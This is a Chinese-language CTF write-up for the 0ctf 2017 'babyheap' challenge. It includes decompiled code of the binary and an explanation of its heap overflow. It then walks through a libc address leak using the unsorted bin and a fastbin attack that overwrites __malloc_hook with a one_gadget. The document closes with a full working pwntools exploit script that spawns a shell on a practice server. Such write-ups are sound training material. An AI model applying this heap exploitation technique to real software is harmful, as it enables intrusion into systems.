【babyheap_0ctf_2017】WriteUp
checksec
查看,保护全开,可以查看是否有堆的漏洞
[*] '/home/bronya/Documents/CTF/pwn18/babyheap_0ctf_2017'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
ida查看:
main
函数提供了菜单以及选择功能
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v4; // [rsp+8h] [rbp-8h]
v4 = sub_B70();
while ( 1 )
{
sub_CF4();
switch ( sub_138C() )
{
case 1LL:
Allocate(v4);
break;
case 2LL:
Fill(v4);
break;
case 3LL:
Free(v4);
break;
case 4LL:
Dump(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}
allocate
函数根据大小申请堆空间
void __fastcall Allocate(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
v2 = sub_138C();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1;
*(_QWORD *)(a1 + 24LL * i + 8) = v2;
*(_QWORD *)(a1 + 24LL * i + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}
Fill
函数向指定index堆块写入内容,注意此处没有对大小进行限制,因此可以考虑fastbin attack劫持
__int64 __fastcall Fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = sub_138C();
v3 = result;
if ( (int)result > 0 )
{
printf("Content: ");
return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}
Dump
函数打印指定index的内容,可以用于泄漏main_arena地址,进一步泄漏libc基址
int __fastcall Dump(__int64 a1)
{
int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(_DWORD *)(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
return puts(byte_14F1);
}
}
return result;
}
因此答题思路为unsortedbin attack泄漏libc基址,fastbin attack劫持malloc_hook,使用one_gadget getshell
Step1: 泄漏Libc基址
注:当small chunk被释放时,它的fd,bk指向同一个指针即top chunk地址,这个地址保存在main_arena的0x58偏移处,而main_arena在libc的data段中,是全局静态变量,偏移也是固定的,根据这些可以计算出libc的基址。因此只需要当small chunk释放后,还可以打印出其值。
首先申请一些小堆块,然后free掉id 1,2,利用堆溢出漏洞,将chunk2 fd指针修改为chunk4地址,相当于chunk4已经free并且为fastbin,然后要malloc回chunk4,不过由于有大小检查,需要修改chunk4的大小,通过修改chunk3来实现。这样可以实现将small chunk放入fastbin中的效果。注,此时有两个指针指向同一个chunk4,此时将chunk4大小修改回原来值,将正常的chunk4 free掉,就可以令其fd,bk指针指向top_chunk,同时新申请的也指向了chunk4,可以用于查看fd,bk值。由此可以计算出libc值
Step2: 修改malloc_hook为one_gadget
使用fastbin attack构造fake chunk修改malloc_hook指针地址即可
exp如下:
from pwn import *
context(arch='amd64', log_level='debug')
# p = process('./babyheap_0ctf_2017')
p = remote('node5.buuoj.cn', 25147)
"""
struct {
1, (8) # 表示是否allocate
size: , (8)
content pointer: , (8)
}
"""
def allocate(size):
p.sendlineafter(b'Command: ', b'1')
p.sendlineafter(b'Size: ', str(size))
def fill(index, size, content):
p.sendlineafter(b'Command: ', b'2')
p.sendlineafter(b'Index: ', index)
p.sendlineafter(b'Size: ', str(size))
p.sendlineafter(b'Content: ', content)
def free(index):
p.sendlineafter(b'Command: ', b'3')
p.sendlineafter(b'Index: ', index)
def dump(index):
p.sendlineafter(b'Command: ', b'4')
p.sendlineafter(b'Index: ', index)
p.recvline()
return p.recvline()
"""
heap overflow
1. 泄漏libc基址
2. 修改libc中malloc_hook地址为one_gadget
"""
# Step1: 泄漏libc基址
# gdb.attach(p, 'b *$rebase(0x0000000000001142)')
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(b'1')
free(b'2')
payload = flat(b'\x00'*0x18, 0x21, b'\x00'*0x18, 0x21, p8(0x80))
fill(b'0', len(payload), payload)
payload = flat(b'\x00'*0x18, 0x21)
fill(b'3', len(payload), payload)
allocate(0x10)
allocate(0x10)
payload = flat(b'\x00'*0x18, 0x91)
fill(b'3', len(payload), payload)
allocate(0x80)
free(b'4')
libc_addr = u64(dump(b'2')[:8].ljust(8, b'\x00')) - 0x3c4b78
success(hex(libc_addr))
# Step2: 劫持malloc_hook
fake_chunk = libc_addr + 0x3c4aed
allocate(0x60)
free(b'4')
payload = flat(fake_chunk)
fill(b'2', len(payload), payload)
allocate(0x60)
allocate(0x60)
"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
one_gadget = libc_addr + 0x4526a
payload = flat(p8(0)*3, 0, 0, one_gadget)
fill(b'6', len(payload), payload)
allocate(0x90)
p.interactive()